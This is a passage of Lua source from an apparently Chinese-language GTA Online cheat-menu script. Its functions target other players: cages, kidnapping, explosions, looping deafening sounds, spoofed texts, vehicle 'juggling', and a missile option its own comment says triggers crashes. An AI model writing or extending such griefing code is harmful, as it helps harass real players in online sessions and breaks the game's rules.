            ENTITY.SET_ENTITY_INVINCIBLE(ped_to_drive, true)
            ENTITY.SET_ENTITY_INVINCIBLE(table_kidnap[veh_to_attach], true)
            ENTITY.ATTACH_ENTITY_TO_ENTITY(table_kidnap[veh_to_attach], ped_to_kidnap, 0, 0, 1, -1, 0, 0, 0, false,
                true, true, false, 0, false)
            ENTITY.SET_ENTITY_COORDS(ped_to_kidnap, coords_ped.x, coords_ped.y, coords_ped.z - 1, false, false, false,
                false)
            PED.SET_PED_INTO_VEHICLE(ped_to_drive, table_kidnap[veh_to_attach], -1)
            TASK.TASK_VEHICLE_DRIVE_WANDER(ped_to_drive, table_kidnap[veh_to_attach], 20, 16777216)
            wait(500)
            entities.delete_by_handle(ped_to_kidnap)
            veh_to_attach = veh_to_attach + 1
            STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(hashs)
            STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(ped_hash)
        end
	end)
GTAC(lz, "笼子", {""}, "", function ()
ptlz(pid)
end)
GTAC(lz, "房子笼子", {""}, "", function ()
zdlzsz(pid)
end)
GTAC(lz, "七度空间", {""}, "", function ()
qdkj(pid)
end)
GTAC(lz, "钱笼子", {""}, "", function ()
zdlz(pid)
end)
GTAC(lz, "垃圾箱", {""}, "", function ()
yylz(pid)
end)
GTAC(lz, "小车车", {""}, "", function ()
cclz(pid)
end)
GTAC(lz, "圣诞快乐", {""}, "", function ()
sdkl1(pid)
end)
GTAC(lz, "圣诞快乐pro", {""}, "", function ()
sdkl2(pid)
end)
GTAC(lz, "圣诞快乐promax", {""}, "", function ()
sdkl3(pid)
end)
GTAC(lz, "电击笼", {""}, "", function ()
powercage(pid)
end)
GTAC(lz, "竞技管", {""}, "", function ()
jjglz(pid)
end)
GTAC(lz, "竞技管2", {""}, "", function ()
jjglzs(pid)
end)
GTAC(lz, "英国女王笼子", {""}, "", function(cl)
gueencage(pid)
end)

GTAC(lz, "运输集装箱", {"cage123"}, "", function()
chestcage(pid)
end)

GTAC(lz, "载具笼子", {"cage4321"}, "", function()
    vehcagelol(pid)
end)

GTAC(lz, "燃气笼", {"gascage4321"}, "", function()
gascage(pid)
end)

GTTG(lz, "全自动笼子", {"autocage"}, "笼子智能追踪该玩家", function(on)
    local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local a = ENTITY.GET_ENTITY_COORDS(player_ped) --first position
    cage_loop = on
    if cage_loop then
        if PED.IS_PED_IN_ANY_VEHICLE(player_ped, false) then
            menu.trigger_commands("freeze"..PLAYER.GET_PLAYER_NAME(pid).." on")
            wait(300)
            if PED.IS_PED_IN_ANY_VEHICLE(player_ped, false) then
                notification("踢出载具失败", colors.pink)
                menu.trigger_commands("freeze"..PLAYER.GET_PLAYER_NAME(pid).." off")
                return
            end
            menu.trigger_commands("freeze"..PLAYER.GET_PLAYER_NAME(pid).." off")
            a =  ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
        end
        cage_player(a)
    end
    while cage_loop do
        local b = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)) 
        local ba = {x = b.x - a.x, y = b.y - a.y, z = b.z - a.z} 
        if math.sqrt(ba.x * ba.x + ba.y * ba.y + ba.z * ba.z) >= 4 then 
            a = b
            if PED.IS_PED_IN_ANY_VEHICLE(player_ped, false) then
                goto continue
            end
            cage_player(a)
            notification(PLAYER.GET_PLAYER_NAME(pid).."跑出来了，再次套住", colors.pink)
            ::continue::
        end
        wait(1000)
    end
end)

GTLP(lz, "混合笼子", {"toggleallcages"}, "", function(on_toggle)
    if on_toggle then
        menu.trigger_commands("doghousecage" .. players.get_name(pid))
        wait(100)
        menu.trigger_commands("foodtruckcage" .. players.get_name(pid))
        wait(100)
        menu.trigger_commands("prop_beach_fire" .. players.get_name(pid))
        wait(100)
        menu.trigger_commands("clearcages" .. players.get_name(pid))
        wait(100)
        menu.trigger_commands("vehiclecage" .. players.get_name(pid))
        wait(100)
        menu.trigger_commands("containercage" .. players.get_name(pid))
        wait(100)
        menu.trigger_commands("electriccage" .. players.get_name(pid))
        wait(100)
        menu.trigger_commands("ObjCage" .. players.get_name(pid))
        wait(100)
        menu.trigger_commands("RAMDOMPCAGE" .. players.get_name(pid))
        wait(100)
        menu.trigger_commands("PCAGE" .. players.get_name(pid))
        wait(100)
    else
        menu.trigger_commands("doghousecage" .. players.get_name(pid))
        wait(100)
        menu.trigger_commands("foodtruckcage" .. players.get_name(pid))
        wait(100)
        menu.trigger_commands("prop_beach_fire" .. players.get_name(pid))
        wait(100)
        menu.trigger_commands("clearcages" .. players.get_name(pid))
        wait(100)
        menu.trigger_commands("vehiclecage" .. players.get_name(pid))
        wait(100)
        menu.trigger_commands("containercage" .. players.get_name(pid))
        wait(100)
        menu.trigger_commands("electriccage" .. players.get_name(pid))
        wait(100)
        menu.trigger_commands("ObjCage" .. players.get_name(pid))
        wait(100)
        menu.trigger_commands("RAMDOMPCAGE" .. players.get_name(pid))
        wait(100)
        menu.trigger_commands("PCAGE" .. players.get_name(pid))
        wait(100)
        end
    end)

GTAC(lz, "删除笼子", {""}, "只能删除简单的笼子", function()
            for key, value in pairs(cages) do
                entities.delete_by_handle(value)
            end
            local entitycount = 0
            for i, object in ipairs(spawned_objects) do
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(object, false, false)
                NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(object)
                entities.delete_by_handle(object)
                spawned_objects[i] = nil
                entitycount += 1
            end
            util.toast("清除笼子完成")
    end)
	
local ptfxmenu = GT(playerMain, '粒子轰炸', {}, '')

GTLP(ptfxmenu, '粒子效果轰炸', {}, '发送您选择的粒子效果', function ()
    ftpxspam(pid)
end)

GTLuaScript.list_action(ptfxmenu, '类型', {''}, '在列表中选择粒子类型', Fxcorelist, function(fxsel)
    ftpxspam_set(fxsel)
end)

local metmenu = GT(playerMain, '模型生成', {}, '')

local bigolist = {} 
local bigobjset  = {obj= util.joaat('prop_asteroid_01'), ptfx = false, exp = false, speed = 1000}
GTLP(metmenu, '模型生成', {'Oshower'}, '天空下起模型雨', function ()
    
    local targets = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local oha = bigobjset.obj --credits to lance#8011 for this function
    local r1 = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS( targets, math.random(-500, 500), math.random(-500, 500), 300.0)
    local r2 = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS( targets, math.random(-500, 500), math.random(-500, 500), 0)
    local diff = {}
    diff.x = (r2.x - r1.x)*500
    diff.y = (r2.y - r1.y)*500
    diff.z = (r2.z - r1.z)*500
    Streament(oha)
    local bigobj = OBJECT.CREATE_OBJECT(oha, r1.x, r1.y, r1.z, true, true, true)
    ENTITY.SET_ENTITY_HAS_GRAVITY(bigobj, true)
    ENTITY.APPLY_FORCE_TO_ENTITY(bigobj, 2, diff.x, diff.y, diff.z, 0, 0, 0, 0, true, false, true, false, true)
    OBJECT.SET_OBJECT_PHYSICS_PARAMS(bigobj, 100000, 5, 1, 0, 0, .5, 0, 0, 0, 0, 0)
    wait(100)

    bigolist[#bigolist + 1] = bigobj
    for _, met in ipairs(bigolist) do
        local mcoor = ENTITY.GET_ENTITY_COORDS(met)
    if ENTITY.GET_ENTITY_HEIGHT_ABOVE_GROUND(bigolist) < 0.5 then
        Streamptfx("scr_xm_orbital")
        if bigobjset.exp then
            FIRE.ADD_EXPLOSION(mcoor.x, mcoor.y, mcoor.z, 8, 100, true, bigobjset.ptfx, 1, false)
            FIRE.ADD_EXPLOSION(mcoor.x, mcoor.y, mcoor.z, 59, 100, true, bigobjset.ptfx, 1, false)
            GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD('scr_xm_orbital_blast', mcoor.x, mcoor.y, mcoor.z + 10, 0, 180, 0, 10.0, true, true, true)
        end
    end
end
if #bigolist > 175 then
    DelEnt(bigolist)
    bigolist= {}
end
    wait(bigobjset.speed)
    if not players.exists(pid) then
        util.stop_thread()
    end

end)

GTTG(metmenu, '天基炮爆炸', {''}, '在下模型雨时开启天基炮爆炸', function (on)
    bigobjset.exp = on
end)

GTluaScript.slider(metmenu, '生成延迟', {''}, '调整模型生成延迟', 0, 3000, 1000, 100, function (s)
    bigobjset.speed = s
end)

GTLuaScript.list_action(metmenu, '模型列表', {''}, '改变模型秀的模型', Bigobjlist, function(objsel)
    bigobjset.obj = util.joaat(Bigobj[objsel])
end)

GTAC(metmenu,  "生成GT大汉堡", {"hamburger"}, "", function()
    local pos = players.get_position(pid)
    pos.z -= 0.50
    local whopper = util.joaat("xs_prop_hamburgher_wl")
    RequestModel(whopper)
    local hamburger = entities.create_object(whopper, pos)
    entities.set_can_migrate(entities.handle_to_pointer(hamburger), false)
    wait(60000)
    entities.delete_by_handle(hamburger)
end)


    local soundtrolls_root = GT(playerMain, "声音恶搞", {""}, "")

    GTLuaScript.list_action(soundtrolls_root, "语音恶搞", {"voicetrolls"}, "", {"庞森比女士迪丝", "基夫隆", "辱骂"}, function(index, value, click_type)
        local voice
        local speech
        local z_off = 0
        if PED.IS_PED_IN_ANY_VEHICLE(target_ped, false) then 
            z_off = get_model_size(ENTITY.GET_ENTITY_MODEL(PED.GET_VEHICLE_PED_IS_IN(target_ped, false))).z
        end
        pluto_switch index do
            case 1:
                voice = "S_F_M_SHOP_HIGH_WHITE_MINI_01"
                speech = "BUMP"
                break
            case 2:
                voice = "A_F_M_BEACH_01_WHITE_FULL_01"
                speech = "KIFFLOM_GREET"
                break
            case 3: 
                voice = ""
                speech = "GENERIC_INSULT_HIGH_01"
        end
        local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local coords = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(target_ped, 0.0, -1.0, 0.0+z_off)
        --AUDIO.PLAY_AMBIENT_SPEECH_FROM_POSITION_NATIVE(speech, voice, coords.x, coords.y, coords.z, "SPEECH_PARAMS_FORCE_SHOUTED")
        request_model_load(util.joaat("s_f_m_shop_high"))
        local voice_ped = entities.create_ped(28, util.joaat("s_f_m_shop_high"), coords, 0)
        ENTITY.SET_ENTITY_COMPLETELY_DISABLE_COLLISION(voice_ped, true, false)
        ENTITY.SET_ENTITY_ALPHA(voice_ped, 0, false)
        ENTITY.FREEZE_ENTITY_POSITION(voice_ped, true)
        ENTITY.SET_ENTITY_INVINCIBLE(voice_ped, true)
        AUDIO.PLAY_PED_AMBIENT_SPEECH_WITH_VOICE_NATIVE(voice_ped, speech, voice, "SPEECH_PARAMS_FORCE", 0)
        wait(5000)
        entities.delete_by_handle(voice_ped)
    end)

    GTLP(soundtrolls_root, "循环爆炸声", {}, "", function()
        local coords = players.get_position(pid)
        AUDIO.PLAY_SOUND_FROM_COORD(-1, "BED", coords.x, coords.y, coords.z, "WASTEDSOUNDS", true, 5, false)
        AUDIO.PLAY_SOUND_FROM_COORD(-1, "Crash", coords.x, coords.y, coords.z, "DLC_HEIST_HACKING_SNAKE_SOUNDS", true, 5, false)
        AUDIO.PLAY_SOUND_FROM_COORD(-1, "BASE_JUMP_PASSED", coords.x, coords.y, coords.z, "HUD_AWARDS", true, 5, false)
        wait(20)
        util.toast("你真不是个人 :)")
    end)

    GTAC(soundtrolls_root, "震耳欲聋", {}, "对大部分菜单有效", function()
        local time = (util.current_time_millis() + 2000)
        while time > util.current_time_millis() do
            menu.trigger_commands("scripthost")
            local pc = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
            for i = 1, 10 do
                AUDIO.PLAY_SOUND_FROM_COORD(-1, "LOSER", pc.x, pc.y, pc.z, "HUD_AWARDS", true, 9999, false)
            end
            wait()
        end
    end)
    
    GTAC(soundtrolls_root, "震耳欲聋V2", {}, "对大部分菜单有效", function()
        local time = (util.current_time_millis() + 2000)
        while time > util.current_time_millis() do
            menu.trigger_commands("scripthost")
            local pc = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
            for i = 1, 10 do
                AUDIO.PLAY_SOUND_FROM_COORD(-1, "1st_Person_Transition", pc.x, pc.y, pc.z, "PLAYER_SWITCH_CUSTOM_SOUNDSET", true, 9999, false)
            end
            wait()
        end
    end)

    GTAC(soundtrolls_root, "震耳欲聋V3", {}, "对大部分菜单有效", function()
        local time = (util.current_time_millis() + 2000)
        while time > util.current_time_millis() do
            menu.trigger_commands("scripthost")
            local pc = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
            for i = 1, 10 do
                AUDIO.PLAY_SOUND_FROM_COORD(-1, "Hit", pc.x, pc.y, pc.z, "RESPAWN_ONLINE_SOUNDSET", true, 9999, false)
            end
            wait()
        end
    end)

    GTAC(soundtrolls_root, "震耳欲聋V4", {}, "对大部分菜单有效", function()
        local time = (util.current_time_millis() + 2000)
        while time > util.current_time_millis() do
            local pc = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
            for i = 1, 10 do
                AUDIO.PLAY_SOUND_FROM_COORD(-1, "Air_Defences_Activated", pc.x, pc.y, pc.z, "DLC_sum20_Business_Battle_AC_Sounds", true, 9999, false)
            end
            wait()
        end
    end)

    GTLP(soundtrolls_root, "笑声折磨", {"torment"}, "该玩家会反复听到笑声", function()
        laughsound(pid)
    end)

	GTLP(soundtrolls_root, "大喇叭", {"dalababb"}, "", function()
	     local pos = players.get_position(pid)
	     for i = 1, 30 do
	         AUDIO.PLAY_SOUND_FROM_COORD(-1, "Horn", pos.x, pos.y, pos.z, "DLC_Apt_Yacht_Ambient_Soundset", true, 1, false)
	         AUDIO.PLAY_SOUND_FROM_COORD(-1, "DOOR_BUZZ", pos.x, pos.y, pos.z, "MP_PLAYER_APARTMENT", true, 1, false)
	     end
	     wait(150)
	end)

	GTLP(soundtrolls_root, "小喇叭", {""}, "", function()
	    local pos = players.get_position(pid)
	    AUDIO.PLAY_SOUND_FROM_COORD(-1, "Horn", pos.x, pos.y, pos.z, "DLC_Apt_Yacht_Ambient_Soundset", true, 1, false)
	    wait(200)
	end)

    GTLP(soundtrolls_root, "耳朵强奸犯", {}, "制造噪音强奸该玩家的耳朵", function()
        local player = PLAYER.GET_PLAYER_PED(pid)
        AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "Crash", player, "WASTEDSOUNDS", true, true)
        AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "BED", player, "DLC_HEIST_HACKING_SNAKE_SOUNDS", true, true)
        AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "BASE_JUMP_PASSED", player, "HUD_AWARDS", true, true)
        AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "Hack_Fail", player, "DLC_sum20_Business_Battle_AC_Sounds", true, true)
        AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "Beep_Red", player, "DLC_HEIST_HACKING_SNAKE_SOUNDS", true, true)
        wait(20)
    end)

	GTLP(soundtrolls_root, "手机按键", {"ringtones"}, "哔哔哔!!!", function()

		AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "Menu_Accept", PLAYER.GET_PLAYER_PED(pid), "Phone_SoundSet_Default", true, 2)

    end)

    GTLP(soundtrolls_root, "死亡轰隆", {}, "", function()
        AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "BED", PLAYER.GET_PLAYER_PED(pid), "WastedSounds", true, true)
        wait(5800)
    end)

    GTLP(soundtrolls_root, "游艇喇叭", {}, "", function()
        AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "Horn", PLAYER.GET_PLAYER_PED(pid), "DLC_Apt_Yacht_Ambient_Soundset", true, true)
        wait(900)
    end)

    GTLP(soundtrolls_root, "任务成功", {}, "", function()
        AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "BASE_JUMP_PASSED", PLAYER.GET_PLAYER_PED(pid), "HUD_AWARDS", true, true)
        wait(1250)
    end)

    GTLP(soundtrolls_root, "越界计时器", {}, "", function()
        AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "Out_of_Bounds_Explode", PLAYER.GET_PLAYER_PED(pid), "MP_MISSION_COUNTDOWN_SOUNDSET", true, true)
        wait(5000)
    end)

    GTLP(soundtrolls_root, "防空系统启动", {}, "", function()
        AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "Air_Defences_Activated", PLAYER.GET_PLAYER_PED(pid), "DLC_sum20_Business_Battle_AC_Sounds", true, true)
        wait(8000)
    end)

    GTLP(soundtrolls_root, "防空系统停用", {}, "", function()
        AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "Air_Defenses_Disabled", PLAYER.GET_PLAYER_PED(pid), "DLC_sum20_Business_Battle_AC_Sounds", true, true)
        wait(2000)
    end)

    GTLP(soundtrolls_root, "破解失败", {}, "", function()
        AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "Hack_Fail", PLAYER.GET_PLAYER_PED(pid), "DLC_sum20_Business_Battle_AC_Sounds", true, true)
        wait(1500)
    end)

    GTLP(soundtrolls_root, "破解成功", {}, "", function()
        AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "Hack_Success", PLAYER.GET_PLAYER_PED(pid), "DLC_sum20_Business_Battle_AC_Sounds", true, true)
        wait(1500)
    end)

    GTLP(soundtrolls_root, "掉电", {}, "", function()
        AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "Power_Down", PLAYER.GET_PLAYER_PED(pid), "DLC_HEIST_HACKING_SNAKE_SOUNDS", true, true)
        wait(1500)
    end)

    GTLP(soundtrolls_root, "哔哔声", {}, "", function()
        AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "Beep_Green", PLAYER.GET_PLAYER_PED(pid), "DLC_HEIST_HACKING_SNAKE_SOUNDS", true, true)
        wait(1500)
    end)

	GTLP(soundtrolls_root, "吵死他", {""}, "", function()
        stcnm(pid)
    end)
	
	GTLP(soundtrolls_root, "手机按键", {""}, "哔哔哔!!!", function()
        phonesoundcnm(pid)
    end)

local getPlayerPed = PLAYER.GET_PLAYER_PED
local getEntityCoords = ENTITY.GET_ENTITY_COORDS

local function AudioAnnoyance(Ker_SND, Ker_AUD)
    for i=0, 31, 1 do
        Ker_pped = getPlayerPed(i)
        Ker_pos = getEntityCoords(Ker_pped)
        AUDIO.PLAY_SOUND_FROM_COORD(-1, Ker_SND, Ker_pos.x, Ker_pos.y, Ker_pos.z, Ker_AUD, true, 999999999, true)
    end
end

local function playerActionsSetup(pid)
    local playerMain = GT(soundtrolls_root, "Sounds", {}, "")
    local playerPos = getEntityCoords(getPlayerPed(pid))
    local playerPed = getPlayerPed(pid)
    for i = 1, #SoundAnnoy do
        GTAC(playerMain, SoundAnnoy[i][1], {"kSounds_" .. SoundAnnoy[i][1]}, "", function()
            local snd, aud
            snd = tostring(SoundAnnoy[i][1])
            aud = tostring(SoundAnnoy[i][2])
           -- AUDIO.PLAY_SOUND_FROM_COORD(-1, snd, playerPos.x, playerPos.y, playerPos.z, aud, true, 50, true)
           AUDIO.PLAY_SOUND_FROM_ENTITY(-1, snd, playerPed, aud, true, true)
        end)
        GTLP(playerMain, SoundAnnoy[i][1], {""}, "", function ()
            local snd, aud
            snd = tostring(SoundAnnoy[i][1])
            aud = tostring(SoundAnnoy[i][2])
            --AUDIO.PLAY_SOUND_FROM_COORD(-1, snd, playerPos.x, playerPos.y, playerPos.z, aud, true, 50, true)
            AUDIO.PLAY_SOUND_FROM_ENTITY(-1, snd, playerPed, aud, true, true)
        end)
    end
end

local soundsList = GT(soundtrolls_root, "播放声音", {"sounds", "soundslist", "soundannoy"}, "A list of sounds that can be played throughout the entire freemode lobby. Sounds provided by Moist through his MoistScript.")

GTAC(soundsList, "停止", {"stopall", "stopallsounds"}, "Stops all sounds. Credit to [hungwy] on the Stand discord for telling me the method.", function ()
    for i=0,99 do
       AUDIO.STOP_SOUND(i)
       AUDIO.RELEASE_SOUND_ID(i)
       wait() 
    end
end)
for i = 1, #SoundAnnoy do
    GTAC(soundsList, SoundAnnoy[i][1], {"allsounds"}, "", function()
        local snd, aud
        snd = tostring(SoundAnnoy[i][1])
        aud = tostring(SoundAnnoy[i][2])
        AudioAnnoyance(snd, aud)
    end)


    GTLP(soundsList, SoundAnnoy[i][1], {"toggleallsounds"}, "", function ()
        local snd, aud
        snd = tostring(SoundAnnoy[i][1])
        aud = tostring(SoundAnnoy[i][2])
        AudioAnnoyance(snd, aud)
    end)
end

    local text_trolls_root = GT(playerMain, "短信恶搞", {""}, "")

    GTLuaScript.list_action(text_trolls_root, "文本", {"textp"}, "", {"裸体", "随机文本"}, function(index, value, click_type)
        textspoof(pid)
    end)

    local weapon_trolling = GT(playerMain, "武器恶搞", {""}, "选择武器并射击玩家无论您在何处")

	GTTG(weapon_trolling, "观看", {}, "", function(toggle)
        spec_player(pid, toggle)
	end)

	GTLP(weapon_trolling, "重型狙击枪", {}, "", function()
        heavy_weapon(pid)
	end)

	GTLP(weapon_trolling, "烟花", {}, "", function()
        firework_weapon(pid)
	end)

	GTLP(weapon_trolling, "原子波", {}, "", function()
        raypisol_weapon(pid)
	end)

	GTLP(weapon_trolling, "燃烧弹", {}, "", function()
        fire_weapon(pid)
	end)

	GTLP(weapon_trolling, "电磁脉冲发射器", {}, "", function()
        emp_weapon(pid)
	end)

	GTLP(weapon_trolling, "电击", {"taze "}, "", function(on)
        taze_weapon(pid, on)
	end)

    GTLP(weapon_trolling,"导弹", {"amissile"}, "会引发崩溃事件", function(on)
    local ped = 2459507570
    STREAMING.REQUEST_MODEL(ped)
    while not STREAMING.HAS_MODEL_LOADED(ped) do
        wait(100)
    end
    local lazer = 3013282534
    STREAMING.REQUEST_MODEL(lazer)
    while not STREAMING.HAS_MODEL_LOADED(lazer) do
        wait(100)
    end
    local pid = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
    local spawn = VEHICLE.CREATE_VEHICLE(lazer, pid.x, pid.y, pid.z+150, 0, true, false, false)
    local pedspawn = PED.CREATE_PED(26, ped, pid.x, pid.y, pid.z+150, 0, true, false)

    ENTITY.SET_ENTITY_VISIBLE(spawn, false)
    PED.SET_PED_INTO_VEHICLE(pedspawn, spawn, -1)
    ENTITY.SET_ENTITY_VISIBLE(pedspawn, false)
    VEHICLE.SET_VEHICLE_ENGINE_HEALTH(spawn, -20)
    ENTITY.SET_ENTITY_ROTATION(spawn, -90.0, 0.0, 0.0, 1, true)
    VEHICLE.SET_VEHICLE_FORWARD_SPEED(spawn, 100)

    local id = get_closest_vehicle(entity)
    local playerpos = ENTITY.GET_ENTITY_COORDS(id)
    playerpos.z = playerpos.z + 3
    local ufo_object = util.joaat("xs_prop_arena_airmissile_01a")
    STREAMING.REQUEST_MODEL(ufo_object)
    while not STREAMING.HAS_MODEL_LOADED(ufo_object) do
        wait()
    end
    local object1 = entities.create_object(ufo_object, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(pid), 0, 2, 3), ENTITY.GET_ENTITY_HEADING(id))

    AUDIO.PLAY_SOUND_FRONTEND(-1, "Power_Down", "DLC_HEIST_HACKING_SNAKE_SOUNDS", true);
    AUDIO.PLAY_SOUND_FRONTEND(-1, "Power_Down", "DLC_HEIST_HACKING_SNAKE_SOUNDS", true);
    AUDIO.PLAY_SOUND_FRONTEND(-1, "Power_Down", "DLC_HEIST_HACKING_SNAKE_SOUNDS", true);
    AUDIO.PLAY_SOUND_FRONTEND(-1, "Power_Down", "DLC_HEIST_HACKING_SNAKE_SOUNDS", true);
    AUDIO.PLAY_SOUND_FRONTEND(-1, "Power_Down", "DLC_HEIST_HACKING_SNAKE_SOUNDS", true);
    AUDIO.PLAY_SOUND_FRONTEND(-1, "Power_Down", "DLC_HEIST_HACKING_SNAKE_SOUNDS", true);
    AUDIO.PLAY_SOUND_FRONTEND(-1, "Power_Down", "DLC_HEIST_HACKING_SNAKE_SOUNDS", true);
    
    ENTITY.ATTACH_ENTITY_TO_ENTITY(object1, spawn, playerpos, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(object1, spawn)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(spawn, object1, 0, 1, 10, 0, 0, 0, -180, 0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(object1, spawn, 0, 1, 10, 0, 0, 0, -180, 0, false, true, false, 0, true)
    ENTITY.SET_ENTITY_VISIBLE(object1, true)
    wait(3000)
    entities.delete_by_handle(spawn)
    entities.delete_by_handle(pedspawn)
    entities.delete_by_handle(ufo_object)
    entities.delete_by_handle(object1)
    end)


    local jindianegao = GT(playerMain, "经典恶搞", {}, "")
    local jplaym = GT(jindianegao, '击飞玩家', {}, '')

    local juglset = {invisjugc = false, jugsel = util.joaat('speedo2') , jugr = 1000}
    local set = {alert = true}
    local jugloop = GTLP(jplaym, '开始击飞', {'JuggleC'}, '反复击飞玩家', function ()
    local targets = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local tar1 = ENTITY.GET_ENTITY_COORDS(targets, true)
    local pname = PLAYER.GET_PLAYER_NAME(pid)

    Delcar(targets)
    Streament(juglset.jugsel)

    if not PED.IS_PED_RAGDOLL(targets) then
        JuggleCar(juglset.jugsel, tar1, juglset.invisjugc, juglset.jugr)
        else
            if set.alert then
                util.toast(pname..' 正在被击飞')
            end
    end

    if not players.exists(pid) then
        if set.alert then
            util.toast('你正在让他们怒不可遏')
        end
        util.stop_thread()
    end

  end)

GTluaScript.set_value(jugloop, nil)

GTTG(jplaym, '隐形载具', {}, '将攻击载具更改为不可见', function (on)
    juglset.invisjugc = on
end)

local jclist = GT(jplaym, '更改用于击飞的载具', {}, '')
GTLuaScript.list_action(jclist, '载具列表', {''}, '更改用于击飞的载具', Vehlist, function(jugsel)
    juglset.jugsel = util.joaat(Vehha[jugsel])
end)

GTluaScript.slider(jplaym, '击飞频率', {'jugglerate'}, '更改载具击飞间隔速度', 100, 4000, 1000, 100, function (jr)
    juglset.jugr = jr
end)

GTluaScript.text_input(jclist, '输入自定义载具模型名', {'cusjug'}, '输入车辆模型名以更改载具为攻击载具', function(cusveh)
    if STREAMING.IS_MODEL_A_VEHICLE(util.joaat(cusveh)) then
        juglset.jugsel = util.joaat(cusveh)
    else
        if set.alert then
            util.toast('载具名称不正确(请检查你的拼写)')
        end
    end
end, 'toreador')

    function ped_explosion(pid, model_name, amount)
    local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local coords = ENTITY.GET_ENTITY_COORDS(ped, false)

    for i = 1, (amount or 10) do
        local hash = util.joaat(model_name or "a_c_shepherd")
        load_model(hash)

        local dog = entities.create_ped(28, hash, coords, math.random(0, 270))

        local size = 20
        local x = math.random(-size, size)
        local y = math.random(-size, size)
        local z = 5

        ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(dog, 1, x, y, z, true, false, true, true)
        AUDIO.PLAY_PAIN(dog, 7, 0)
    end
end
function fake_explosion(pid)
    local entity = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local coords = ENTITY.GET_ENTITY_COORDS(entity, true)
    FIRE.ADD_EXPLOSION(coords['x'], coords['y'], coords['z'], 7, 0, true, true, 0)
end
function load_model(hash) -- lancescript
    local request_time = os.time()
    if not STREAMING.IS_MODEL_VALID(hash) then
        return
    end
    STREAMING.REQUEST_MODEL(hash)
    while not STREAMING.HAS_MODEL_LOADED(hash) do
        if os.time() - request_time >= 10 then
            break
        end
        wait()
    end
end
    local BlackholeEntities = GT(jindianegao, "黑洞恶搞", {}, "")
    
	local dont_stop = false
	GTLP(BlackholeEntities,"载具黑洞", {"vehicleblackholes"}, "", function(on)
		for k, veh in pairs(entities.get_all_vehicles_as_handles()) do
			local PedInSeat = VEHICLE.GET_PED_IN_VEHICLE_SEAT(veh, -1, false)
			local locspeed2 = speed
        			local holecoords = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
			if not PED.IS_PED_A_PLAYER(PedInSeat) then
				NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
	      ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(bh_target), true)
                        vcoords = ENTITY.GET_ENTITY_COORDS(veh, true)
                        speed = 100
                        local x_vec = (holecoords['x']-vcoords['x'])*speed
                        local y_vec = (holecoords['y']-vcoords['y'])*speed
                        local z_vec = ((holecoords['z']+hole_zoff)-vcoords['z'])*speed
                        ENTITY.SET_ENTITY_INVINCIBLE(veh, true)
                        ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(veh, 1, x_vec, y_vec, z_vec, true, false, true, true)
				if not dont_stop and not PAD.IS_CONTROL_PRESSED(2, 71) and not PAD.IS_CONTROL_PRESSED(2, 72) then
					VEHICLE.SET_VEHICLE_FORWARD_SPEED(veh, 0.0);
				end
			end
		end
	end)

    GTLP(BlackholeEntities,"物体黑洞", {"objectblackholes"}, "", function(on)
		for k, veh in pairs(entities.get_all_objects_as_handles()) do
			local PedInSeat = VEHICLE.GET_PED_IN_VEHICLE_SEAT(veh, -1, false)
			local locspeed2 = speed
        			local holecoords = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
			if not PED.IS_PED_A_PLAYER(PedInSeat) then
